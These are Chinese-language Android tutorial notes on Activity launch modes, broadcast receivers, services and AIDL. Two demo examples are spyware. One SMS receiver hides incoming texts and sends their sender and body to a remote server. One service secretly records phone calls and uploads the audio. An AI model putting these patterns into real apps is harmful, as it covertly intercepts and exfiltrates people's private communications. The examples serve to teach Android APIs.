作者:韩亚飞_yue31313_韩梦飞沙 QQ:313134555
第一节、 Activity组件的启动模式、广播、服务组件
一、知识概括
1、Activity的启动模式
2、广播的操作方式及应用
3、服务的操作以及应用
二、知识总结
1、Activity的启动模式
什么是activity
Activity对象在Android中就是代表一个页面的对象, 在该对象中, 保存了当前页面的所有元素的
数据信息...包括布局、字体大小、颜色、边距等等等数据
当系统中存在多个页面的时候, Android系统就会把这些代表页面的Activity对象都放入栈中进行
管理...
因此, 如果通过意图等方法打开一个新的Activity的时候, 如果该Activity已经在栈中存在了, 这
时候是重新创建一个呢, 还是把已经存在的Activity调整到栈的最顶端并显示, 还是销毁栈顶端的
Activity,直到需要的Activity在栈的最顶端为止..这就需要我们在创建Activity的时候指定
Activity的启动模式
2、屏幕切换时的处理:四种启动模式
Anctivity有四种启动模式么,这些启动模式都要在清单文件中的activity节点的属性节点中设置。
a)standard: 标准启动模式, 当使用意图(Intent)等方法启动一个Activity的时候, 就创建一个
新的Activity, 并放入栈的最顶端
b)singleTop: 单例模式, 如果当前栈顶是新创建的Activity时, 就不创建新的Activity, 而是
直接调用栈顶的这个Activity...如果栈顶不是当前需要的Activity时, 就创建一个...
(这就是说, 在栈中不可能出现AA这样连续的Activity对象序列)
c)singleTask: 单例模式, 如果当前系统中不存在当前需要的Activity时, 就创建一个新的
Activity放入最顶端...如果存在的话, 就把位于栈中的这个Activity之上的所有Activity
全部销毁, 然后调用这个Activity并显示
d)singleInstance: 单例模式, 如果当前系统中不存在当前需要的Activity时, 就创建一个新的..
如果存在所需要的Activity时, 就把系统中存在的Activity从栈中提取出来, 然后放入栈的
最顶端
android:configChanges="keyboardHidden|orientation"
通过这个方法可以使屏幕切换的时候数据不会重现被设置。相当于切换的时候activity不会再重启。只有在同一个应用的时候有效。
3、Activity内存管理
当系统中内存不足时, 会优先销毁哪些Activity呢?
a)最先销毁的是"空状态的Activity"...空状态指的是已经从Android系统中退出的Activity的状态,但是系统为了下次打开方便, 还会保持着这个Activity的进程在系统中...但是这个进程中已经没有太多实际的数据了, 因此当内存不足的时候, 优先删除的就是处于"空状态的Activity"...如果系统中存在多个空状态的Activity的话, 就会按照进程生成的先后, 越早创建的优先删除.
b) 第二个销毁的是出于"停止状态"的后台Activity这样的进程一般是由于当前Activity之上被另一个Activity完全覆盖了(比如在一个界面上浏览时, 有人打了个电话进来,Activity跳转到接电话的界面)...这时候当前Activity就变成后台Activity了
c) 再接着就是出于暂停状态的Activity...这里删除的是暂停状态的Activity, 如果在该Activity之上的那个小窗口是开启了多线程的话, 这个子线程会被删除???(会的, 但如果这个小窗口是另外一个进程的话, 就不会了)
d) 最后是进程中正在运行的Activity了
4、Activity的细节
在Activity中是不适合做一些太耗时的操作的
原因:
a)如果在Activity的主线程中直接执行这个耗时的操作的话, 就会造成界面假死, 报告ANR异常, 造成用户体验很差
b)如果在当前Activity的主线程中创建一个子线程单独操作的话,也是不合适的...因为用户一般在点击玩操作按钮后, 就退回桌面进行其他的操作了...这时候当前线程就处于停止或者"空进程"状态, 虽然这时候子线程还是会进行的...但比如播放音乐或者下载东西这类耗时的操作,可能会持续很久, 而这个过程中可能系统会因为内存不足就把这些进程给删除了, 这就导致任务的失败...
5、广播接收者
广播接收者主要负责监听一些具有广播数据的消息机制的应用。
1. 如何定义一个广播接收者?
方法1:
a) 编写一个类继承BroadcastReceiver, 并覆写其中的onReceive方法, 在该方法中编写自己的业务逻辑代码
b) 在配置清单中进行注册...
在Application节点下生命一个<receive>节点,
在<receive>节点下添加"android:priority"来指定当前接收者的优先权...
在<receive>节点下添加<action>子节点, 用来指定当前"接受者"所接收的广播的类型
如果想要接收的广播类型在定义的时候指定了需要的权限, 则需要在配置清单中申请该权限,才可以接收该广播并进行操作.
例子:
<uses-permissoinandroid:name="android.permission.RECEIVE_SMS" />
<application
android:icon="@drawable/ic_launcher"
android:name="@string/app_name">
<receiverandroid:name=.MyReceiver">
<intent-filter>
//这里指定接收的广播类型...
//广播类型既可以是系统广播, 也可以是自己创建的广播
<actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
c) 在a)和b)完成之后, 就已经完成广播接收者的全部编写了...这时候就等着系统发送广播,然后由广播接受者接收广播, 并执行onReceive()方法了...
其实这里广播接收者的概念我上面那句话是不太准确的, 实际上应该是, 当我们编写完一个广播接收者之后, 就在系统中注册了这个广播接受者, 而当系统开始发出一个广播的时候, 就开始根据sendBroadcast(string action,string permission)中指定的action和
permission来扫描有哪些广播接收者注册了对这个广播的接收...然后依次像这些调用这些广播接受者的接收方法(onReceive)来处理发出的广播信息
方法2
使用ContentWrapper.registerReceive()方法来注册BroadcastReceive
两种注册广播接收者的区别:
1. 清单文件里注册: 一旦应用程序被部署到手机, 广播接受者就会生效
2. 代码里面注册: 一旦代码所在的进程被杀死了,广播接受者就失效了.
1)广播的分类
广播接受者分为两种类型:
1. 有序的广播. 短信到来的广播 电话拨打的广播
-1000~1000 设置广播的优先级
android:priority="1000"
从高优先级->低优先级 依次传递
abortbroadcast()方法 可以终止广播事件
2. 无序广播.
没有优先级任何人 注册广播接受者的人,都可以接收到广播.
没有abortboradcast()方法
sendBroadcast(intent);// 发送一条广播
sendOrderedBroadcast(intent,receiverPermission); // 发送一条有序广播
如果发送广播的时候使用的sendOrderedBroadcast(intent,receiverPermission, resultReceiver, scheduler, initialCode, initialData,initialExtras)这个pi发送出去的广播,方法中的第三个参数 resultReceiver 指定了广播的接受者的话,即便是中间我把广播给终止 abortbroadcast(),resultReceiver还是会接受到广播时间
实例1:广播接收者监听短信
清单文件设置
权限声明:
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
注册:
<receiver android:name=".SmsReceiver">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
public class SmsReceiver extendsBroadcastReceiver {
//当接受到短信的时候
//android.provider.Telephony.SMS_RECEIVED
@Override
publicvoid onReceive(Context context, Intent intent) {
//阻塞时间超过10秒 很容易anr 异常
System.out.println("threadname ="+Thread.currentThread().getName());
//intent 存放的有接收到的短信的内容
Object[]pdus = (Object[])intent.getExtras().get("pdus");
for(Objectpdu:pdus){
SmsMessagemessage =SmsMessage.createFromPdu((byte[])pdu);
//获取短信的正文内容
finalString content = message.getMessageBody();
//获取短信的发送者
finalString address = message.getOriginatingAddress();
System.out.println(content);
System.out.println(address);
//把收到短信的系统的广播事件给结束
if("15555215556".equals(address)){
abortBroadcast();
SmsManagermanager = SmsManager.getDefault();
manager.sendTextMessage(address,null, "ni qu siba ,wo yijing xihuan le xxx", null, null);}
//因为广播接受者的生命周期非常的短,广播接受者所在的进程很有可能会别系统回收
//子线程也会被销毁. 过长的子线程操作可以重新放到一个service中运行
new Thread(){
@Override
publicvoid run() {
String path="http://192.168.1.247:8080/web/SmsServlet?address="
+address+"&content="+content;
try{
URLurl = new URL(path);
HttpURLConnectionconn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setConnectTimeout(5000);
System.out.println(conn.getResponseCode());
}catch (Exception e) {e.printStackTrace();}
super.run();}}.start();}}}
实例2:IpcCall
public class OutGoingCallReceiver extendsBroadcastReceiver {
publicvoid onReceive(Context context, Intent intent) {
System.out.println(getResultData());
//abortBroadcast(); 中断广播接收者的广播
SharedPreferencessp = context
.getSharedPreferences("config",Context.MODE_PRIVATE);
String ipnumber =sp.getString("ipnumber", "");
setResultData(ipnumber+getResultData());}}
6、service服务组件
服务有一个特点: 只会一次oncreate()方法一旦被创建出来,以后oncreate() 就不会再被执行了,以后再去开启服务 只会执行onstart()方法当服务被停止的时候 onDestroy();
服务的开启与停止
1服务可以通过startservice的方法 :
服务可以通过startservice的方法 开启 通过stopservice的方法 停止
普通的开启方式,使用这种方式开启的服务,服务一旦开启与调用者没有任何的关系 , 调用着的activity 即便是退出了 也不会影响,后台的service的运行.
在activity里面 不能去调用服务里面的方法 .
2、服务通过bindservice的方法开启
在activity里面可以去调用服务里面的方法 .
首先如果服务不存在 就会执行 oncreate() ->onbind()方法,一旦服务绑定成功以后再去执行 bindsercie() 就不会在重新创建 或者绑定服务了();
如果我们现实的调用unbindservice()的方法首先 on unbind()方法 -> ondestroy() ;服务只能被解除绑定一次 多次解除绑定服务 程序会出异常.
通过绑定方式开启服务(bindservice)
服务跟调用者不求同生 ,但求同死.如果调用者(activity)退出了 那他绑定的服务呢 也会跟着退出.
7、案例演示说明:通话录音上传服务器
权限声明:
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.INTERNET"/>
清单注册:
<service android:name=".PhoneListenService" ></service>
public class PhoneListenService extendsService {
//activity receiver contentprovider
publicIBinder onBind(Intent intent) {
returnnull;
}
在服务第一次被创建的时候 执行
publicvoid onCreate() {
super.onCreate();
setForeground(true);
//1. 判断当前手机的状态,
//如果发现手机处于 通话状态
//创建一个录音器, 录下来用户的通话信息
//当发现手机再次处于 idle状态 停止录音机,把音频文件 上传到服务器
//得到手机与电话状态相关的服务
TelephonyManagermanager = (TelephonyManager) this
.getSystemService(TELEPHONY_SERVICE);
//this.getSystemService(WIFI_SERVICE);
manager.listen(newMyPhoneListener(),
PhoneStateListener.LISTEN_CALL_STATE);
System.out.println("线程id "+Thread.currentThread().getName());
}
privateclass MyPhoneListener extends PhoneStateListener {
MediaRecorderrecorder = null;
当电话的通话状态发生改变的时候 被调用的方法
publicvoid onCallStateChanged(int state, String incomingNumber) {
try{
switch(state) {
caseTelephonyManager.CALL_STATE_IDLE: // 当前电话处于闲置状态
System.out.println("当前电话处于闲置状态 ");
//判断下recorder是否为空
if(recorder!=null){
recorder.stop();
recorder.release();// Now the object cannot be reused
recorder= null;
newThread(){
publicvoid run() {
//上传数据到服务器 演示的代码 有问题的
Filefile = new File("/sdcard/temp.3gp");
try{
upload(file);
}catch (Exception e) {
e.printStackTrace();}}}.start();}
break;
caseTelephonyManager.CALL_STATE_RINGING: // 当前电话处于零响状态
System.out.println("电话号码为 " + incomingNumber);
break;
caseTelephonyManager.CALL_STATE_OFFHOOK: // 当前电话处于接听状态
System.out.println("当前电话处于通话状态 ");
//初始化一个录音器,
recorder= new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
//recorder.setOutputFile("sdcard/temp.3gp");
// Filefile = new File("/sdcard/temp.3gp");
// FileOutputStreamfos = new FileOutputStream(file);
// fos.write("haha".getBytes());
recorder.setOutputFile("/sdcard/temp.3gp");
recorder.prepare();
recorder.start();// Recording is now started
break;}
}catch (Exception e) {
e.printStackTrace();}
super.onCallStateChanged(state,incomingNumber);
}}
publicvoid upload(File file) throws Exception{
//实例化上传数据的 数组 part []
Part[]parts = {new FilePart("file",file)};
PostMethod filePost = new PostMethod(
"http://192.168.1.247:8080/web/LoginServlet");
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
HttpClientclient = new HttpClient();
client.getHttpConnectionManager().getParams()
.setConnectionTimeout(5000);
intstatus = client.executeMethod(filePost);
if(status==200)
{System.out.println("上传成功");}
else{
throw new IllegalStateException("服务器状态异常");}}}
服务必须在主线程运行,所以不能含有耗时的操作。
通过setForeground()方法设置服务的优先级
8、Aidl访问外部服务中的方法
1、aidl技术使用目的
在ServcieConnection的onServiceConnected()方法中, 将Service对象中的onBind()方法传回的IBinder对象强转成自定义的接口InvokeInterface,,,但是因为Activity和Service是在两个Android应用中的, 因此即使在编写源代码的时候, 在整个工程目录下建立了相同的包名、相同的接口名、接口文件中编写的内容完全一模一样..但是因为这是两个程序, 因此在系统中维护的字节码文件也是不同的...因此在Activity无法将Service对象中的实现了InvokeInterface的IBinder
对象强转成Activity中的InvokeInterface类型...
要解决这个问题, 就需要使用到Android中的aidl技术..
2.aidl的编写步骤
a) 首先保持Activity中自定义的InvokeInterface的包名、文件名、文件内容和Service中的接口完全一致...
b) 把InvokeInterface接口的.java后缀修改成.aidl...之后Eclipse就会自动吧aidl编译成一个新的.java文件, 并在InvokeInterface接口中创建一个子类Stub, 在Stub中有InvokeInterface种的所有方法, 并且使用该aidl文件生成的.java文件, 在不同的Android应用程序中, 都是引用同一份字节码文件的.
修改之前文件中引用InvokeInterface的地方, 改成引用InvokeInterface.Stub、
注意!!!.aidl文件中的修饰符都不要...所有的public都要去掉
9、本地和外部应用的内部方法访问
1.要想访问 一个服务里面的方法 我们需要用到 bindservice();
一创建一个服务 这个服务里面有一个要被调用的方法.
二定义一个接口IService , 接口里面的抽象方法 就是去调用service里面的方法
三定义一个mybinder对象 extends IBinder对象 实现 我们声明的接口IService, 在onbind方法里面把mybinder返回回去
四在activity里面 通过bindservice的方法开启服务
五创建出来一个我们MyConn 实现 ServiceConnection接口 onserviceConnected的方法这个方法会有一个参数 这个参数就是 MyBinder的对象
六把mybinder强制类型转化成 IServcie
七调用IService里面的方法
2.要想访问一个远程服务里的方法 需要用到aidl
一创建一个服务 这个服务里面有一个要被调用的方法.
二定义一个接口IService , 接口里面的抽象方法 就是去调用service里面的方法把.java的后缀名改成aidl 把接口里面定义的访问权限的修饰符都给删除
三定义一个mybinder对象 extends IService.Stub, 在onbind方法里面把mybinder返回回去
四在activity里面 通过bindservice的方法开启服务
五创建出来一个我们MyConn 实现 ServiceConnection接口 onserviceConnected的方法这个方法会有一个参数 这个参数就是 MyBinder的对象
六 IService = IService.Stub.asInterface(myBinder)
七 调用IService的方法